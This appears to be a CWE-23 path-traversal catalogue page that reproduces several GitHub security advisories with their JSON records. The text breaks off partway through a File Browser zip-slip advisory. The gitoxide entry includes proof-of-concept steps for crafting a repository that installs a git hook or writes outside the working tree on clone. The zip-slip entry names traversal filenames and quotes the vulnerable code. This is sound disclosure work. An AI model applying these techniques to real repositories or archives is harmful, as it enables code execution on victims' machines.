Common Weakness Enumeration

CWE-23

Allowed

Relative Path Traversal

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

840 vulnerabilities reference this CWE, most recent first.

GHSA-7QXC-43WM-V793

Vulnerability from github – Published: 2026-02-27 12:31 – Updated: 2026-03-02 18:31
VLAI
Details

Unauthenticated Remote Code Execution and Information Disclosure due to Local File Inclusion (LFI) vulnerability in Johnson Controls Frick Controls Quantum HD allow an unauthenticated attacker to execute arbitrary code on the affected device, leading to full system compromise. This issue affects Frick Controls Quantum HD: Frick Controls Quantum HD version 10.22 and prior.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-21659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T10:16:22Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Remote Code Execution and Information Disclosure due to Local File Inclusion (LFI) vulnerability in Johnson Controls Frick Controls Quantum HD\u00a0allow an unauthenticated attacker to\nexecute arbitrary code on the affected device, leading to full system compromise. \nThis issue affects Frick Controls Quantum HD: Frick Controls Quantum HD version 10.22 and prior.",
  "id": "GHSA-7qxc-43wm-v793",
  "modified": "2026-03-02T18:31:41Z",
  "published": "2026-02-27T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21659"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-01"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7W47-3WG8-547C

Vulnerability from github – Published: 2024-05-22 14:05 – Updated: 2024-07-08 16:20
VLAI
Summary
gix traversal outside working tree enables arbitrary code execution
Details

Summary

During checkout, gitoxide does not verify that paths point to locations in the working tree. A specially crafted repository can, when cloned, place new files anywhere writable by the application.

Details

Although gix-worktree-state checks for collisions with existing files, it does not itself check if a path is really in the working tree when performing a checkout, nor do the path checks in gix-fs and gix-worktree prevent this. Cloning an untrusted repository containing specially crafted tree or blob names will create new files outside the repository, or inside the repository or a submodule's .git directory. The simplest cases are:

  • A tree named .. to traverse upward. This facilitates arbitrary code execution because files can be placed in one or more locations where they are likely to be executed soon.
  • A tree named .git to enter a .git directory. This facilitates arbitrary code execution because hooks can be installed.

A number of alternatives that achieve the same effect are also possible, some of which correspond to specific vulnerabilities that have affected Git in the past:

  • A tree or blob whose name contains one or more /, to traverse upward or downward. For example, even without containing any tree named .. or .git, a repository can represent a file named ../outside or .git/hooks/pre-commit. This is distinct from the more intuitive case a repository containing trees that represent those paths.
  • In Windows, a tree or blob whose name contains one or more \, to traverse upward or downward. (Unlike /, these are valid on other systems.) See GHSA-xjx4-8694-q2fq.
  • On a case-insensitive filesystem (such as NTFS, APFS, or HFS+), a tree named as a case variant of .git.
  • On HFS+, a tree named like .git or a case variant, with characters added that HFS+ ignores in collation. See https://github.com/git/git/commit/6162a1d323d24fd8cbbb1a6145a91fb849b2568f.
  • On NTFS, a tree equivalent to .git (or a case variant) by the use of NTFS stream notation, such as .git::$INDEX_ALLOCATION. See GHSA-5wph-8frv-58vj.
  • On an NTFS volume with 8.3 aliasing enabled, a tree named as git~1 (or a case variant). See GHSA-589j-mmg9-733v.

When a checkout creates some files outside the repository directory but fails to complete, the repository directory is usually removed, but the outside files remain.

PoC

For simplicity, these examples stage a stand-in file with a valid name, modify the index, and commit. The instructions assume sed supports -i, which is the case on most systems. If using Windows, a Git Bash shell should be used.

Example: Downward traversal to install hooks

  1. Create a new repository with git init dangerous-repo-installs-hook and cd into the directory.
  2. Create the stand-in called .git@hooks@pre-commit, with the contents: sh #!/bin/sh printf 'Vulnerable!\n' date >vulnerable
  3. Stage the stand-in: git add --chmod=+x .git@hooks@pre-commit
  4. Edit the index: env LC_ALL=C sed -i.orig 's|\.git@hooks@pre-commit|.git/hooks/pre-commit|' .git/index
  5. Commit: git commit -m 'Initial commit'
  6. Optionally, push to a private remote.

Then, on another or the same machine:

  1. Clone the repository with a gix clone … command.
  2. Enter the newly created directory.
  3. Optionally run ls -l .git/hooks to observe that the pre-commit hook is already present.
  4. Make a new file and commit it with git. This causes the payload surreptitiously installed as a pre-commit hook to run, printing the message Vulnerable! and creating a file in the current directory containing the current date and time.

Note that the effect is not limited to modifying the current directory. The payload could be written to perform any action that the user who runs git commit is capable of.

Example: Upward traversal to create a file above the working tree

  1. Create a new repository with git init dangerous-repo-reaches-up, and cd into the directory.
  2. Create the stand-in: echo 'A file outside the working tree, somehow.' >..@outside
  3. Stage the stand-in: git add ..@outside
  4. Edit the index: env LC_ALL=C sed -i.orig 's|\.\.@outside|../outside|' .git/index
  5. Commit: git commit -m 'Initial commit'
  6. Optionally, push to a private remote.

Then, as above, on the same or another machine, clone the repository with a gix clone … command. Observe that a file named outside is present alongside (not inside) the cloned directory.

Impact

Any use of gix or another application that makes use of gix-worktree-state, or otherwise relies on gix-fs and gix-worktree for validation, is affected, if used to clone untrusted repositories. The above description focuses on code execution, as that leads to a complete loss of confidentiality, integrity, and availability, but creating files outside a working tree without attempting to execute code can directly impact integrity as well.

In use cases where no untrusted repository is ever cloned, this vulnerability has no impact. Furthermore, the impact of this vulnerability may be lower when gix is used to clone a repository for CI/CD purposes, even if untrusted, since in such uses the environment is usually isolated and arbitrary code is usually run deliberately from the repository with necessary safeguards in place.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-worktree-state"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gitoxide"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.36.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-fs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-worktree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.63.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gitoxide-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.38.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-index"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-35186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-22T14:05:58Z",
    "nvd_published_at": "2024-05-23T09:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nDuring checkout, gitoxide does not verify that paths point to locations in the working tree. A specially crafted repository can, when cloned, place new files anywhere writable by the application.\n\n### Details\n\nAlthough `gix-worktree-state` checks for collisions with existing files, it does not itself check if a path is really in the working tree when performing a checkout, nor do the path checks in `gix-fs` and `gix-worktree` prevent this. Cloning an untrusted repository containing specially crafted tree or blob names will create new files outside the repository, or inside the repository or a submodule\u0027s `.git` directory. The simplest cases are:\n\n- A tree named `..` to traverse upward. This facilitates arbitrary code execution because files can be placed in one or more locations where they are likely to be executed soon.\n- A tree named `.git` to enter a `.git` directory. This facilitates arbitrary code execution because hooks can be installed.\n\nA number of alternatives that achieve the same effect are also possible, some of which correspond to specific vulnerabilities that have affected Git in the past:\n\n- A tree or blob whose name contains one or more `/`, to traverse upward or downward. For example, even without containing any tree named `..` or `.git`, a repository can represent a file named `../outside` or `.git/hooks/pre-commit`. This is distinct from the more intuitive case a repository containing trees that represent those paths.\n- In Windows, a tree or blob whose name contains one or more `\\`, to traverse upward or downward. (Unlike `/`, these are valid on other systems.) See [GHSA-xjx4-8694-q2fq](https://github.com/git/git/security/advisories/GHSA-xjx4-8694-q2fq).\n- On a case-insensitive filesystem (such as NTFS, APFS, or HFS+), a tree named as a case variant of `.git`.\n- On HFS+, a tree named like `.git` or a case variant, with characters added that HFS+ ignores [in collation](https://developer.apple.com/library/archive/technotes/tn/tn1150.html#StringComparisonAlgorithm). See https://github.com/git/git/commit/6162a1d323d24fd8cbbb1a6145a91fb849b2568f.\n- On NTFS, a tree equivalent to `.git` (or a case variant) by the use of [NTFS stream](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3) notation, such as `.git::$INDEX_ALLOCATION`. See [GHSA-5wph-8frv-58vj](https://github.com/git/git/security/advisories/GHSA-5wph-8frv-58vj).\n- On an NTFS volume with [8.3 aliasing](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file#short-vs-long-names) enabled, a tree named as `git~1` (or a case variant). See [GHSA-589j-mmg9-733v](https://github.com/git/git/security/advisories/GHSA-589j-mmg9-733v).\n\nWhen a checkout creates some files outside the repository directory but fails to complete, the repository directory is usually removed, but the outside files remain.\n\n### PoC\n\nFor simplicity, these examples stage a stand-in file with a valid name, modify the index, and commit. The instructions assume `sed` supports `-i`, which is the case on most systems. If using Windows, a Git Bash shell should be used.\n\n#### Example: Downward traversal to install hooks\n\n1. Create a new repository with `git init dangerous-repo-installs-hook` and `cd` into the directory.\n2. Create the stand-in called `.git@hooks@pre-commit`, with the *contents*:\n   ```sh\n   #!/bin/sh\n   printf \u0027Vulnerable!\\n\u0027\n   date \u003evulnerable\n   ```\n3. Stage the stand-in: `git add --chmod=+x .git@hooks@pre-commit`\n4. Edit the index: `env LC_ALL=C sed -i.orig \u0027s|\\.git@hooks@pre-commit|.git/hooks/pre-commit|\u0027 .git/index`\n5. Commit: `git commit -m \u0027Initial commit\u0027`\n6. *Optionally*, push to a private remote.\n\nThen, on another or the same machine:\n\n1. Clone the repository with a `gix clone \u2026` command.\n2. Enter the newly created directory.\n3. *Optionally* run `ls -l .git/hooks` to observe that the `pre-commit` hook is already present.\n4. Make a new file and commit it with `git`. This causes the payload surreptitiously installed as a `pre-commit` hook to run, printing the message `Vulnerable!` and creating a file in the current directory containing the current date and time.\n\nNote that the effect is not limited to modifying the current directory. The payload could be written to perform any action that the user who runs `git commit` is capable of.\n\n#### Example: Upward traversal to create a file above the working tree\n\n1. Create a new repository with `git init dangerous-repo-reaches-up`, and `cd` into the directory.\n2. Create the stand-in: `echo \u0027A file outside the working tree, somehow.\u0027 \u003e..@outside`\n3. Stage the stand-in: `git add ..@outside`\n4. Edit the index: `env LC_ALL=C sed -i.orig \u0027s|\\.\\.@outside|../outside|\u0027 .git/index`\n5. Commit: `git commit -m \u0027Initial commit\u0027`\n6. *Optionally*, push to a private remote.\n\nThen, as above, on the same or another machine, clone the repository with a `gix clone \u2026` command. Observe that a file named `outside` is present alongside (not inside) the cloned directory.\n\n### Impact\n\nAny use of `gix` or another application that makes use of `gix-worktree-state`, or otherwise relies on `gix-fs` and `gix-worktree` for validation, is affected, if used to clone untrusted repositories. The above description focuses on code execution, as that leads to a complete loss of confidentiality, integrity, and availability, but creating files outside a working tree without attempting to execute code can directly impact integrity as well.\n\nIn use cases where no untrusted repository is ever cloned, this vulnerability has no impact. Furthermore, the impact of this vulnerability *may* be lower when `gix` is used to clone a repository for CI/CD purposes, even if untrusted, since in such uses the environment is usually isolated and arbitrary code is usually run deliberately from the repository with necessary safeguards in place.",
  "id": "GHSA-7w47-3wg8-547c",
  "modified": "2024-07-08T16:20:56Z",
  "published": "2024-05-22T14:05:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Byron/gitoxide/security/advisories/GHSA-7w47-3wg8-547c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35186"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Byron/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0348.html"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0350.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gix traversal outside working tree enables arbitrary code execution"
}

GHSA-7WPM-J27W-6R7J

Vulnerability from github – Published: 2024-07-01 06:31 – Updated: 2024-07-01 06:31
VLAI
Details

CHANGING Mobile One Time Password does not properly filter parameters for the file download functionality, allowing remote attackers with administrator privilege to read arbitrary file on the system.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-3122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-01T05:15:04Z",
    "severity": "MODERATE"
  },
  "details": "CHANGING Mobile One Time Password does not properly filter parameters for the file download functionality, allowing remote attackers with administrator privilege to read arbitrary file on the system.",
  "id": "GHSA-7wpm-j27w-6r7j",
  "modified": "2024-07-01T06:31:17Z",
  "published": "2024-07-01T06:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3122"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-7912-4c800-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7911-0962e-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7WQH-767X-R66V

Vulnerability from github – Published: 2025-03-10 22:19 – Updated: 2025-11-04 00:32
VLAI
Summary
Local File Inclusion in Rack::Static
Details

Summary

Rack::Static can serve files under the specified root: even if urls: are provided, which may expose other files under the specified root: unexpectedly.

Details

The vulnerability occurs because Rack::Static does not properly sanitize user-supplied paths before serving files. Specifically, encoded path traversal sequences are not correctly validated, allowing attackers to access files outside the designated static file directory.

Impact

By exploiting this vulnerability, an attacker can gain access to all files under the specified root: directory, provided they are able to determine then path of the file.

Mitigation

  • Update to the latest version of Rack, or
  • Remove usage of Rack::Static, or
  • Ensure that root: points at a directory path which only contains files which should be accessed publicly.

It is likely that a CDN or similar static file server would also mitigate the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1"
            },
            {
              "fixed": "3.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T22:19:30Z",
    "nvd_published_at": "2025-03-10T23:15:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Rack::Static` can serve files under the specified `root:` even if `urls:` are provided, which may expose other files under the specified `root:` unexpectedly.\n\n## Details\n\nThe vulnerability occurs because `Rack::Static` does not properly sanitize user-supplied paths before serving files. Specifically, encoded path traversal sequences are not correctly validated, allowing attackers to access files outside the designated static file directory.\n\n## Impact\n\nBy exploiting this vulnerability, an attacker can gain access to all files under the specified `root:` directory, provided they are able to determine then path of the file.\n\n## Mitigation\n\n- Update to the latest version of Rack, or\n- Remove usage of `Rack::Static`, or\n- Ensure that `root:` points at a directory path which only contains files which should be accessed publicly.\n\nIt is likely that a CDN or similar static file server would also mitigate the issue.",
  "id": "GHSA-7wqh-767x-r66v",
  "modified": "2025-11-04T00:32:21Z",
  "published": "2025-03-10T22:19:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-7wqh-767x-r66v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/50caab74fa01ee8f5dbdee7bb2782126d20c6583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-27610.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00016.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local File Inclusion in Rack::Static"
}

GHSA-7WRC-R54R-W52V

Vulnerability from github – Published: 2025-09-15 18:31 – Updated: 2025-09-15 18:31
VLAI
Details

Relative path traversal vulnerability due to improper input validation in Digilent WaveForms that may result in arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted .DWF3WORK file. This vulnerability affects Digilent WaveForms 3.24.3 and prior versions.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-15T17:15:32Z",
    "severity": "HIGH"
  },
  "details": "Relative path traversal vulnerability due to improper input validation in Digilent WaveForms that may result in arbitrary code execution.  Successful exploitation requires an attacker to get a user to open a specially crafted .DWF3WORK file.  This vulnerability affects Digilent WaveForms 3.24.3 and prior versions.",
  "id": "GHSA-7wrc-r54r-w52v",
  "modified": "2025-09-15T18:31:06Z",
  "published": "2025-09-15T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10203"
    },
    {
      "type": "WEB",
      "url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/relative-path-traversal-vulnerability-in-digilent-waveforms.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7XP6-CGJ4-VVC8

Vulnerability from github – Published: 2025-10-24 00:30 – Updated: 2025-10-24 00:30
VLAI
Details

A relative path traversal vulnerability was discovered in Productivity Suite software version

4.4.1.19.

The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and read arbitrary files on the target machine.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-58456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-23T22:15:41Z",
    "severity": "HIGH"
  },
  "details": "A relative path traversal vulnerability was discovered in Productivity Suite software version \n\n4.4.1.19.\n\n The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and read arbitrary files on the target machine.",
  "id": "GHSA-7xp6-cgj4-vvc8",
  "modified": "2025-10-24T00:30:52Z",
  "published": "2025-10-24T00:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58456"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-296-01.json"
    },
    {
      "type": "WEB",
      "url": "https://support.automationdirect.com/docs/securityconsiderations.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.automationdirect.com/support/software-downloads"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-834H-QG75-5MR8

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-24 18:31
VLAI
Details

Relative Path Traversal vulnerability in Apache InLong. Arbitrary file read from the Agent host filesystem.

This issue affects Apache InLong: from 2.0.0 before 2.4.0.

Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.

[1]  https://github.com/apache/inlong/pull/12146 .

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T16:17:30Z",
    "severity": "HIGH"
  },
  "details": "Relative Path Traversal vulnerability in Apache InLong.\u00a0Arbitrary file read from the Agent host filesystem.\n\nThis issue affects Apache InLong: from 2.0.0 before 2.4.0.\n\n\n\nUsers are advised to upgrade to Apache InLong\u0027s  2.4.0 or cherry-pick [1] to solve it.\n\n[1]\u00a0 https://github.com/apache/inlong/pull/12146 .",
  "id": "GHSA-834h-qg75-5mr8",
  "modified": "2026-08-24T18:31:39Z",
  "published": "2026-08-20T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63043"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0ohn861tzd9g7nsosd6oz3of6dvhvqnk"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/20/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83QV-39GP-8F27

Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-05 00:00
VLAI
Details

An attacker may use TWinSoft and a malicious source project file (TPG) to extract files on machine executing Ovarro TWinSoft, which could lead to code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-28T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An attacker may use TWinSoft and a malicious source project file (TPG) to extract files on machine executing Ovarro TWinSoft, which could lead to code execution.",
  "id": "GHSA-83qv-39gp-8f27",
  "modified": "2022-08-05T00:00:30Z",
  "published": "2022-07-29T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22650"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-054-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83XP-526H-J3WW

Vulnerability from github – Published: 2026-07-20 22:16 – Updated: 2026-07-20 22:16
VLAI
Summary
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Details

Summary

The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.

A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.

Details

1. The archive builder rewrites backslashes into path separators (http/raw.go:133)

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only
// ... comment explaining the intent to strip Windows separators ...
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/")   // line 133, creates traversal

filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.

2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)

archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,   // no path.Clean, no ".." rejection
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.

3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)

